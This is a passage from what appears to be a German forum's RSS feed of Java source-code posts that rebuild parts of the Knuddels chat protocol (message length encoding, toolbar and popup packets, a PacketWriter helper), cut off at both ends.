<span style="color: #0000BB">package&nbsp;knuddels</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">io</span><span style="color: #007700">.</span><span style="color: #0000BB">InputStream</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">io</span><span style="color: #007700">.</span><span style="color: #0000BB">IOException</span><span style="color: #007700">;<br /><br /><br />public&nbsp;class&nbsp;</span><span style="color: #0000BB">Protocol&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">decode</span><span style="color: #007700">(</span><span style="color: #0000BB">InputStream&nbsp;in</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">throws&nbsp;IOException&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">byte&nbsp;first&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">in</span><span style="color: #007700">.</span><span style="color: #0000BB">read</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">first&nbsp;</span><span style="color: #007700">==&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;throw&nbsp;new&nbsp;</span><span style="color: #0000BB">IOException</span><span style="color: #007700">(</span><span style="color: #DD0000">"End&nbsp;of&nbsp;stream"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;length</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">first&nbsp;</span><span style="color: #007700">&gt;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">first&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">first&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">0x1F</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;count&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">first&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">0x60</span><span style="color: #007700">)&nbsp;&gt;&gt;&gt;&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">count</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">in</span><span style="color: #007700">.</span><span style="color: #0000BB">read</span><span style="color: #007700">()&nbsp;&lt;&lt;&nbsp;(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">buffer&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">length</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">in</span><span style="color: #007700">.</span><span style="color: #0000BB">read</span><span style="color: #007700">(</span><span style="color: #0000BB">buffer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">length</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">buffer</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">encode</span><span style="color: #007700">(</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">message</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;length&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">message</span><span style="color: #007700">.</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">len</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">128</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)&nbsp;</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">};<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;count&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">32&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;(</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">)&nbsp;&lt;=&nbsp;</span><span style="color: #0000BB">length</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">count</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">count</span><span style="color: #007700">++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">len&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">len</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)&nbsp;(</span><span style="color: #0000BB">count&nbsp;</span><span style="color: #007700">&lt;&lt;&nbsp;</span><span style="color: #0000BB">5&nbsp;</span><span style="color: #007700">|&nbsp;</span><span style="color: #0000BB">0x80&nbsp;</span><span style="color: #007700">|&nbsp;</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">0x1F</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">len</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">len</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;&nbsp;=&nbsp;(</span><span style="color: #0000BB">byte</span><span style="color: #007700">)&nbsp;(</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">&gt;&gt;&gt;&nbsp;</span><span style="color: #0000BB">8&nbsp;</span><span style="color: #007700">*&nbsp;(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;+&nbsp;</span><span style="color: #0000BB">5</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">buffer&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">byte</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">len</span><span style="color: #007700">.</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">message</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">arraycopy</span><span style="color: #007700">(</span><span style="color: #0000BB">len</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">buffer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">len</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">arraycopy</span><span style="color: #007700">(</span><span style="color: #0000BB">message</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">buffer</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">len</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">message</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">buffer</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div><br />
Wäre sehr nett, Danke im Vorraus.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>!lkay</dc:creator>
			<guid isPermaLink="true">sourcecode-91/bananachat-knuddels-encoding-decoding-6262</guid>
		</item>
		<item>
			<title><![CDATA[[Java] Toolbar]]></title>
			<link>sourcecode-91/java-toolbar-6250?goto=newpost</link>
			<pubDate>Thu, 02 Feb 2012 14:23:51 GMT</pubDate>
			<description>Code: 
--------- 
/** 
 * 
 * @author Flav 
 */ 
public class ToolbarButton { 
	private String label; 
	private String icon;</description>
			<content:encoded><![CDATA[<div><div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class ToolbarButton {<br />
&nbsp; &nbsp; &nbsp; &nbsp; private String label;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private String icon;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private boolean left;<br />
&nbsp; &nbsp; &nbsp; &nbsp; private String action;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public ToolbarButton(String label, String icon, boolean left, String action) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this.label = label;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this.icon = icon;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this.left = left;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this.action = action;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public String getLabel() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return label;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public String getIcon() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return icon;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public boolean isLeft() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return left;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public String getAction() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return action;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}</code><hr />
</div><div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">public static String toolbar(Start groupChat, String channel, ArrayList&lt;ToolbarButton&gt; buttons) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; PacketWriter packet = new PacketWriter();<br />
&nbsp; &nbsp; &nbsp; &nbsp; packet.writeString(&quot;:&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; packet.write(0x00);<br />
&nbsp; &nbsp; &nbsp; &nbsp; packet.writeShort(groupChat.getModuleIndex(&quot;SHOW_BUTTONS&quot;));<br />
&nbsp; &nbsp; &nbsp; &nbsp; packet.writeString(channel, true);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (buttons != null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (ToolbarButton button : buttons) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.write(0x0B);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.writeString(button.getLabel(), true);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (button.getIcon() == null) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.write(0xFF);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.writeString(button.getIcon(), true);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.writeBoolean(button.isLeft());<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet.writeString(button.getAction(), true);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; packet.write(0x0C);<br />
&nbsp; &nbsp; &nbsp; &nbsp; packet.write(0x0C);<br />
&nbsp; &nbsp; &nbsp; &nbsp; return packet.toString();<br />
}</code><hr />
</div><font size="5">Beispiel</font><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">ArrayList&lt;ToolbarButton&gt; buttons = new ArrayList&lt;ToolbarButton&gt;();<br />
buttons.add(new ToolbarButton(&quot;Test&quot;, &quot;sm_devil_00.gif&quot;, false, &quot;/p James:Flav ist geil.&quot;));<br />
groupChat.receive(PacketCreator.toolbar(groupChat, channel, buttons));</code><hr />
</div><font color="Red"><b>Achtung!</b> Das UserList-Paket (Opcode u) blendet die Toolbar aus.</font><br />
<br />
Edit: Es gibt noch ein zweites Paket zum Färben der Toolbar, das poste ich später, muss ich gleich raussuchen, hab ich damals schon auf K-Script released.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-toolbar-6250</guid>
		</item>
		<item>
			<title><![CDATA[[Java] Popup]]></title>
			<link>sourcecode-91/java-popup-6249?goto=newpost</link>
			<pubDate>Thu, 02 Feb 2012 14:18:36 GMT</pubDate>
			<description>/** 
 * 
 * @author Flav 
 */ 
public class Popup { 
    private String title, subtitle, message; 
    private int width, height; 
    private String...</description>
			<content:encoded><![CDATA[<div><script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushJava.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: java;">
/**<br />
 *<br />
 * @author Flav<br />
 */<br />
public class Popup {<br />
    private String title, subtitle, message;<br />
    private int width, height;<br />
    private String background;<br />
    private PacketWriter packet;<br />
<br />
    public Popup(String title, String subtitle, String message, int width, int height) {<br />
        this(title, subtitle, message, width, height, &quot;pics/cloudsblue.gif&quot;);<br />
    }<br />
<br />
    public Popup(String title, String subtitle, String message, int width, int height, String background) {<br />
        this.title = title;<br />
        this.subtitle = subtitle;<br />
        this.message = message;<br />
        this.width = width;<br />
        this.height = height;<br />
        this.background = background;<br />
    }<br />
<br />
    private void addSize(int size) {<br />
        packet.write(size + 'A');<br />
    }<br />
<br />
    private void addString(String str) {<br />
        packet.writeString(str);<br />
        packet.write(0xF5);<br />
    }<br />
<br />
    private void addForeground(int&#91;&#93; color) {<br />
        packet.write('f');<br />
<br />
        for (int c : color) {<br />
            packet.write(c);<br />
        }<br />
    }<br />
<br />
    private void addBackground(int&#91;&#93; color) {<br />
        packet.write('h');<br />
<br />
        for (int c : color) {<br />
            packet.write(c);<br />
        }<br />
    }<br />
<br />
    private void addFontStyle(char weight, int size) {<br />
        if (weight != 'p') {<br />
            packet.write(weight);<br />
        }<br />
<br />
        packet.write('g');<br />
        addSize(size);<br />
    }<br />
<br />
    private void addPanel(char layout) {<br />
        packet.write('p');<br />
        packet.write(layout);<br />
    }<br />
<br />
    private void addPanelSize(int width, int height) {<br />
        packet.write('s');<br />
        packet.writeShort(width);<br />
        packet.writeShort(height);<br />
    }<br />
<br />
    private void addBackgroundImage(String image, int alignment) {<br />
        packet.write('i');<br />
        addString(image);<br />
        packet.writeShort(alignment);<br />
    }<br />
<br />
    public String toString() {<br />
        packet = new PacketWriter();<br />
        packet.writeString(&quot;k&quot;);<br />
        packet.write(0x00);<br />
        addString(title);<br />
        addForeground(new int&#91;&#93; { 0x00, 0x00, 0x00 });<br />
        addBackground(new int&#91;&#93; { 0xBE, 0xBC, 0xFB });<br />
        packet.write(0xE3);<br />
<br />
        packet.write('N');<br />
        packet.write('l');<br />
        addString(&quot; &quot;);<br />
        addFontStyle('p', 5);<br />
        packet.write(0xE3);<br />
<br />
        packet.write('W');<br />
        packet.write('l');<br />
        addString(&quot;           &quot;);<br />
        addFontStyle('p', 5);<br />
        packet.write(0xE3);<br />
<br />
        packet.write('E');<br />
        packet.write('l');<br />
        addString(&quot;           &quot;);<br />
        addFontStyle('p', 5);<br />
        packet.write(0xE3);<br />
<br />
        packet.write('C');<br />
        addPanel('B');<br />
<br />
        if (subtitle != null) {<br />
            packet.write('N');<br />
            addPanel('B');<br />
<br />
            packet.write('C');<br />
            packet.write('l');<br />
            addString(subtitle);<br />
            addFontStyle('b', 16);<br />
            addBackground(new int&#91;&#93; { 0xE5, 0xE5, 0xFF });<br />
            packet.write(0xE3);<br />
<br />
            packet.write('S');<br />
            packet.write('l');<br />
            addString(&quot; &quot;);<br />
            addFontStyle('p', 5);<br />
            packet.write(0xE3);<br />
<br />
            packet.write(0xE3);<br />
        }<br />
<br />
        if (message != null) {<br />
            packet.write('C');<br />
            packet.write('c');<br />
            addString(message);<br />
            addPanelSize(width, height);<br />
            addBackground(new int&#91;&#93; { 0xBE, 0xBC, 0xFB });<br />
<br />
            if (background != null) {<br />
                addBackgroundImage(background, 17);<br />
            }<br />
<br />
            packet.write(0xE3);<br />
        }<br />
<br />
        packet.write(0xE3);<br />
<br />
        packet.write('S');<br />
        addPanel('F');<br />
<br />
        packet.write('b');<br />
        addString(&quot;   OK   &quot;);<br />
        addFontStyle('p', 16);<br />
        packet.write('d');<br />
        addBackground(new int&#91;&#93; { 0xBE, 0xBC, 0xFB });<br />
        packet.write(0xE3);<br />
<br />
        packet.write(0xE3);<br />
<br />
        packet.write(0xE3);<br />
        return packet.toString();<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Dies ist eine sehr vereinfachte Version, ich hab das Paket schon vor langer Zeit inkl. aller Komponenten analysiert. Für Anfänger dürfte das aber uninteressant sein, deshalb diese einfache Version. Fortgeschrittene können ja mal versuchen die Komponenten selbst zu analysieren, oder es aus dem Banana-Chat extrahieren.<br />
<br />
<font size="5">Beispiel</font><br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushJava.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: java;">
groupChat.receive(new Popup(&quot;Beispiel&quot;, &quot;Popup&quot;, &quot;Da ist ein Beispiel für ein Popup.&quot;, 400, 300).toString());
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Edit: Wenn ich Zeit finde mich da nochmal ranzusetzen werde ich das Ganze auch noch kommentieren, jedes einzelne Byte hat natürlich eine Bedeutung.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-popup-6249</guid>
		</item>
		<item>
			<title><![CDATA[[Java] PacketWriter]]></title>
			<link>sourcecode-91/java-packetwriter-6248?goto=newpost</link>
			<pubDate>Thu, 02 Feb 2012 14:13:16 GMT</pubDate>
			<description>Code: 
--------- 
import java.io.UnsupportedEncodingException; 
 
/** 
 * 
 * @author Flav 
 */ 
public class PacketWriter {</description>
			<content:encoded><![CDATA[<div><div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">import java.io.UnsupportedEncodingException;<br />
<br />
/**<br />
&nbsp;*<br />
&nbsp;* @author Flav<br />
&nbsp;*/<br />
public class PacketWriter {<br />
&nbsp; &nbsp; &nbsp; &nbsp; private StringBuilder buffer;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public PacketWriter() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public void write(int v) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer.append((char) v);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public void writeBoolean(boolean v) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(v ? 1 : 0);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public void writeShort(int v) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(v &gt;&gt; 8);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write(v);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public void writeString(String v) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writeString(v, false);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; public void writeString(String v, boolean length) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (length) {<br />
